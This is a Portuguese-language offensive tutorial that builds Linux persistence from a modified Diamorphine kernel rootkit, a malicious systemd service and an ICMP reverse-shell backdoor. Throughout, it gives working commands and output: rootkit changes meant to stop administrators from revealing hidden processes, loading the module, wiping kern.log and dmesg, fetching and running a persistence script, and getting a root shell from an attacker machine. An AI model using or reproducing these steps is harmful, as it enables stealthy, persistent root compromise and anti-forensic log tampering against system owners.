Autor: @matheuzsec
[ Combinação de persistência para Linux ]
_* Serviço malicioso SystemD + backdoor icmp + rootkit diamorfina com algumas coisas modificadas *_
,____
|---.\
___ | ` __.....__
/ .-\ ./= .' ':,
| |"|_/\/| / __ _ __ \\
; |-;| /_| | |_)) || |_))||
/ \_| |/ \ | | | \\ || | ||
/ \/\( | | || _,
| / |` ) | | Sysadmin ||.-(_{}
/ \ _/ | | DEAD |/ `
/--._/ \ | \\| {}_)-,||
`/|) | / \\;/,,;;;;;;;,\\|//,
/ | | .;;;;;;;;;;;;;;;;,
.' | | \,;;;;;;;;;;;;;;;;,//
/ \ | \\;;;;;;;;;;;;;;;;,//
(_.-.__.__./ / ,\';;;;;;;;;;;;;;;;'
*************************** SUMÁRIO ***************************
* 1 - Visão geral *
* 2 - Modificando algumas coisas em diarmophine.h *
* 3 - Setup SystemD malicioso com icmp backdoor e em execução * .-~-.-~-.-~ Paper de MatheuZ
* 4 - Fechamento e agradecimento *
* 5 - Hackeie todas as coisas! *
*********************************************************************
[$] CAPÍTULO 1
>>------> Visão geral
Nesse paper vou mostrar e ensinar um combo bem atrativo, então basicamente vamos usar uma versão modificada do meu script (https://raw.githubusercontent.com/MatheuZSecurity/systemd-backdoor/main/systemd.sh) que fiz para automatize o backdoor do systemd. Usaremos esta versão modificada para carregar um serviço malicioso, ou seja, um systemd persistência com icmp backdoor, em combinação com o rootkit diamorfina com algumas coisas alteradas, você pode usar outro rootkit, mas estou usando diamorfina apenas por exemplo.
No rootkit diamorfina, vamos apenas mudar seu sigkill. O sigkill para retornar os processos é 63, e nós pode alterar para 62 por exemplo, dificultando assim para o administrador do sistema, ou qualquer outra pessoa fazer seus processos reaparecer.
Além de alterar o sigkill do processo, também podemos alterar o "magic_prefix", o nome do módulo, sigkill para se tornar "invisível", sigkill para se tornar root e sigkill para fazer todos os processos ocultos reaparecerem.
E fazendo essas alterações nas configurações do rootkit diamorfina, usando icmp backdoor em uma espécie de systemd malicioso serviço, você obtém uma combinação extremamente boa.
NOTA: O serviço malicioso reiniciará a cada 5 segundos, o objetivo disso é demonstrar que o uso do systemd para criar serviços maliciosos e usar rootkits pode ser muito útil quando você vai manter a persistência.
[$] CAPÍTULO 2
Primeiro teremos que baixar o rootkit diamorfina que está disponível no github do m0nad (btw obrigado m0nad por criando este incrível rootkit que abriu portas para muitas pessoas estudarem sobre rootkits).
root@phantom:~/paper# git clone https://github.com/m0nad/Diamorphine
Cloning into 'Diamorphine'...
remote: Enumerating objects: 141, done.
remote: Counting objects: 100% (65/65), done.
remote: Compressing objects: 100% (23/23), done.
remote: Total 141 (delta 53), reused 42 (delta 42), pack-reused 76
Receiving objects: 100% (141/141), 32.26 KiB | 5.38 MiB/s, done.
Resolving deltas: 100% (77/77), done.
root@phantom:~/paper#
agora que baixamos a diamorfina, vamos mover os seguintes arquivos: diamorfina.c para rk.c e diamorfina.h para rk.h.
root@phantom:~/paper/Diamorphine# mv diamorphine.c rk.c
root@phantom:~/paper/Diamorphine# mv diamorphine.h rk.h
root@phantom:~/paper/Diamorphine#
Bem, agora que renomeamos os arquivos, podemos fazer algumas alterações em rk.h.
#define MAGIC_PREFIX "undetect4ble"
#define PF_INVISIBLE 0x10000000
#define MODULE_NAME "rk"
enum {
SIGINVIS = 33,
SIGSUPER = 64,
SIGMODINVIS = 62,
};
resumindo o que mudei, mudei o "MAGIC_PREFIX" para "undetect4ble" ou seja, quando criamos uma pasta chamada "undetect4ble_dir", esta pasta fica invisível e você não pode vê-la usando ls, dir e qualquer programa que retorna todas as entradas de um diretório.
Eu também mudei o nome do módulo para rk.
e por fim os tão famosos sigkills, na diamorfina existem 3 sigkills que é uma de suas características.
1 - sigkill 31 que serve para você esconder algum processo
2 - sigkill 64 0 que é para você virar root
3 - sigkill 63 0 traz de volta o "módulo" que estava escondido quando carregamos a diamorfina, e com o módulo visível, você pode removê-lo usando rmmod
Também precisamos alterar em rk.c o "#include diamorphine.h" para "#include rk.h".
E finalmente edite o "Makefile". Troque diamorfina.o por rk.o.
obj-m := rk.o
CC = gcc -Wall
KDIR := /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)
all:
$(MAKE) -C $(KDIR) M=$(PWD) modules
clean:
$(MAKE) -C $(KDIR) M=$(PWD) clean
Agora é só compilar e carregar o módulo.
root@phantom:~/paper/Diamorphine# ls rk* M*
Makefile rk.c rk.h
root@phantom:~/paper/Diamorphine# make
make -C /lib/modules/5.15.0-56-generic/build M=/root/paper/Diamorphine modules
make[1]: Entering directory '/usr/src/linux-headers-5.15.0-56-generic'
CC [M] /root/paper/Diamorphine/rk.o
MODPOST /root/paper/Diamorphine/Module.symvers
CC [M] /root/paper/Diamorphine/rk.mod.o
LD [M] /root/paper/Diamorphine/rk.ko
BTF [M] /root/paper/Diamorphine/rk.ko
Skipping BTF generation for /root/paper/Diamorphine/rk.ko due to unavailability of vmlinux
make[1]: Leaving directory '/usr/src/linux-headers-5.15.0-56-generic'
root@phantom:~/paper/Diamorphine#
root@phantom:~/paper/Diamorphine# insmod rk.ko
root@phantom:~/paper/Diamorphine#
Agora podemos ver que nosso módulo foi carregado com sucesso.
root@phantom:~/paper/Diamorphine# dmesg
[ 1822.281956] rk: module is already loaded
root@phantom:~/paper/Diamorphine#
root@phantom:~/paper/Diamorphine# cat /var/log/kern.log | grep "rk: module"
Dec 26 14:04:18 phantom kernel: [ 1822.281956] rk: module is already loaded
root@phantom:~/paper/Diamorphine#
É sempre importante que você limpe os logs kern.log e dmesg.
root@phantom:~/paper/Diamorphine# dmesg --clear
root@phantom:~/paper/Diamorphine# cat /dev/null > /var/log/kern.log
O rootkit já está preparado e carregado para uso.
[$] CAPÍTULO 3
Agora que carregamos o rootkit, precisamos configurar o systemd malicioso que irá carregar o "cliente" que vamos usar para conectar a máquina através do "servidor".
Para isso, usaremos uma versão alternativa do meu script de @ferreiraklet
>>------> https://raw.githubusercontent.com/ferreiraklet/persistence/main/persistence.sh -> código
OBS: como modificamos algumas coisas no rootkit, precisaremos alterar o sigkill 31 que está no roteiro para 33.
root@phantom:~# wget https://raw.githubusercontent.com/ferreiraklet/persistence/main/persistence.sh && chmod +x persistence.sh
--2023-01-05 16:52:51-- https://raw.githubusercontent.com/ferreiraklet/persistence/main/persistence.sh
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.111.133, 185.199.108.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 29926 (29K) [text/plain]
Saving to: ‘persistence.sh’
persistence.sh 100%[================================================================>] 29,22K --.-KB/s in 0,003s
2023-01-05 16:52:51 (10,2 MB/s) - ‘persistence.sh’ saved [29926/29926]
root@phantom:~# sed -i 's/kill -31 {}/kill -33 {}/g' persistence.sh
root@phantom:~#
Agora que alteramos o sigkill de 31 para 33, podemos executar o script.
root@phantom:~# systemctl status persistence
● persistence.service - Systemd Persistence
Loaded: loaded (/etc/systemd/system/persistence.service; enabled; preset: enabled)
Active: active (running) since Thu 2023-01-05 21:24:22 UTC; 1s ago
Main PID: 2458 (bash)
Tasks: 5 (limit: 4547)
Memory: 1.1M
CPU: 24ms
CGroup: /system.slice/persistence.service
├─2458 /bin/bash -c "echo f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAABIAAAAAAABAAAAAAAAAALhBAAAAAAAAAAAAAEAAOAALAEAAHgAAA>
├─2462 ./client
├─2463 sleep 3
└─2464 /bin/sh
root@phantom:~#
Observe que nosso serviço malicioso já está rodando, agora é só conectar usando "server" e gg, systemd persistence com icmp backdoor e um rootkit com algumas coisas alteradas funcionando perfeitamente.
Agora na máquina do atacante.
root@mtzbox:~# git clone https://github.com/ferreiraklet/icmp_reverse_shell
Cloning into 'icmp_reverse_shell'...
remote: Enumerating objects: 66, done.
remote: Counting objects: 100% (66/66), done.
remote: Compressing objects: 100% (58/58), done.
remote: Total 66 (delta 31), reused 13 (delta 6), pack-reused 0
Receiving objects: 100% (66/66), 21.76 KiB | 1.81 MiB/s, done.
Resolving deltas: 100% (31/31), done.
root@phantom:~# cd icmp_reverse_shell/
root@phantom:~/icmp_reverse_shell# make
cc client.c -o client -pthread
cc server.c -o server -pthread
root@phantom:~/icmp_reverse_shell# ls
buffer.h client client.c icmp_shell.h LICENSE Makefile README.md server server.c
root@mtzbox:~/icmp_reverse_shell#
root@mtzbox:~/icmp_reverse_shell# ./server $IP (Here you will put the ip of the target machine to be able to connect)
cmd #
id
uid=0(root) gid=0(root) groups=0(root)
pwd
/root
echo "gg"
gg
^C
root@mtzbox:~/icmp_reverse_shell#
[$] CAPÍTULO 4
>>-;;;------;;--> Obrigado por ler o jornal, espero que gostem, se alguém tiver alguma dúvida pode me contatar no discord:
MatheuZ#8923.
[$] CAPÍTULO 5 - End
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣀⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣶⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⠀⠀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⡿⠿⢿⣿⣷⣠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡆⣷⣠⣴⣶⣶⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⡄⠀⠀⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⣿⣿⣟⠉⢹⣿⣷⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠛⠿⠿⠿⠋⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⡿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠉⣿⣿⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⢀⣀⣀⠀⠀⠀⠀⠀⣰⣿⣿⡟⠁⠘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠃⠀⠈⢿⣿⣷⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣴⣾⣿⣿⣿⣿⣶⡀⢀⣾⣿⣿⠋⠀⠀⠀⠈⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠃⠀⠀⠀⠀⠹⣿⣿⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀
⢸⣿⡁⠀⠀⢀⣿⣿⢇⣾⣿⣿⠃⠀⠀⠀⠀⠀⠀⣿⡈⠙⢿⣿⣿⣿⠿⠋⢩⡇⠀⠀⠀⠀⠀⠀⠙⣿⣿⣇⠀⠀⠀⠀⠀⠀⠀⠀
⠈⠛⠛⣠⣴⣿⡿⠋⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⣿⣿⣶⣾⣿⣿⣿⣷⣶⣿⡇⠀⠀⠀⠀⠀⠀⠀⣻⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣠⣾⣿⡿⠋⠀⠀⢻⣿⣿⣷⡀⠀⠀⠀⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⡀⠀⠀⠀⠀⢠⣿⣿⣏⣠⣤⣶⣤⠀⠀⠀⠀- Hackeie todas as coisas
⢰⣿⣿⣟⠀⠀⠀⠀⠘⢿⣿⣿⣿⣷⣶⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣤⣤⣴⣿⣿⣿⣿⠋⠀⠀⠀⠀⠀⠀⠀
⢸⣿⣿⣿⣦⣄⣀⠀⠀⠀⠉⠙⠛⠛⢿⣿⣿⣿⣿⣿⣿ MATHEUZ ⣿⣿⣿⣿⣿⣿⣿⡿⠿⠛⠉⢻⣿⣄⠀⠀⠀⠀⠀⠀⠀
⠀⠙⠿⣿⣿⣿⣿⣿⣿⣿⣶⣶⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⡀⠀⠀⠀⠈⢿⣿⣶⣄⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠈⠉⠉⠙⠛⠛⠛⠛⠛⣿⣿⣿⣿⠟⢋⣿⣿⣿⡿⠋⠙⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣆⠀⠀⠀⠀⠙⢿⣿⣧⡀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⠟⠁⠀⣿⣿⣿⠟⠀⠀⢀⣿⣿⣿⡿⢿⣿⣿⣿⣿⣿⣿⣆⠀⠀⠀⠀⠈⢿⣿⣷⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣿⣿⠏⠀⠀⢸⣿⣿⣿⠀⠀⠀⢸⣿⣿⣿⠀⠈⢻⣿⣿⣿⢿⣿⣿⣦⡀⠀⠀⠀⣸⣿⣿⠀⣀⡄
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⣿⡟⠀⠀⠀⠸⣿⣿⣿⠀⠀⠀⢻⣿⣿⣿⠀⠀⠀⢻⣿⣿⡆⠹⢿⣿⣿⣶⣶⣾⣿⣿⣿⣿⠋⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⣿⡿⠁⠀⠀⠀⠀⢿⣿⣿⡆⠀⠀⠸⣿⣿⣿⡄⠀⠀⠀⢿⣿⣿⠀⠀⠙⠛⠿⠿⠿⠛⠋⢸⣿⠀⠀
⠀⠀⠀⠀⠀⠀⣠⣴⣿⣿⡿⠛⠁⠀⠀⠀⠀⠀⠘⣿⣿⣿⠀⠀⠀⣿⣿⣿⡇⠀⠀⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⠀
⠀⠀⠀⢠⣶⣿⣿⠿⠋⠁⠒⠛⢻⣷⠀⠀⠀⠀⠀⢹⣿⣿⡇⠀⣠⣿⣿⣿⢃⣴⣿⠟⠛⢿⣿⣿⡄⠀⠀⠀⠀⠀⠀⢠⣿⣿⠀⠀
⠀⠀⢰⣿⣿⠟⠁⠀⠀⠀⠀⢀⣾⡟⠀⠀⠀⠀⠀⠘⣿⣿⣧⣾⣿⣿⠟⠁⣾⣿⡇⠀⠀⠘⢿⣿⣿⣦⡀⠀⠀⣀⣴⣿⣿⠃⠀⠀
⠀⠀⣿⣿⡇⠀⠀⢀⡄⠀⢠⣿⣿⠀⠀⠀⠀⠀⠀⢰⣿⣿⣿⣿⠟⠁⠀⠀⢿⣿⣇⠀⠀⠀⠈⠻⣿⣿⣿⣿⣿⣿⡿⠟⠁⠀⠀⠀
⠀⠀⠹⣿⣷⣄⣀⣼⡇⠀⢸⣿⣿⡀⠀⠀⠀⠀⣠⣿⣿⣿⡿⠋⠀⠀⠀⠀⢸⣿⣿⡀⠀⠀⠀⠀⠀⠉⠉⠉⠉⠁⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠈⠛⠛⠛⠋⠀⠀⠀⢻⣿⣿⣶⣶⣶⣿⣿⣿⣿⣿⠁⠀⠀⠀⠀⠀⠀⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠛⠛⠛⠛⠛⠉⣿⣿⣿⡀⠀⠀⠀⠀⠀⠀⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⣷⣄⣀⠀⢀⣀⣴⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢿⣿⣿⣿⣿⣿⣿⣿⡿⠋⠀⠀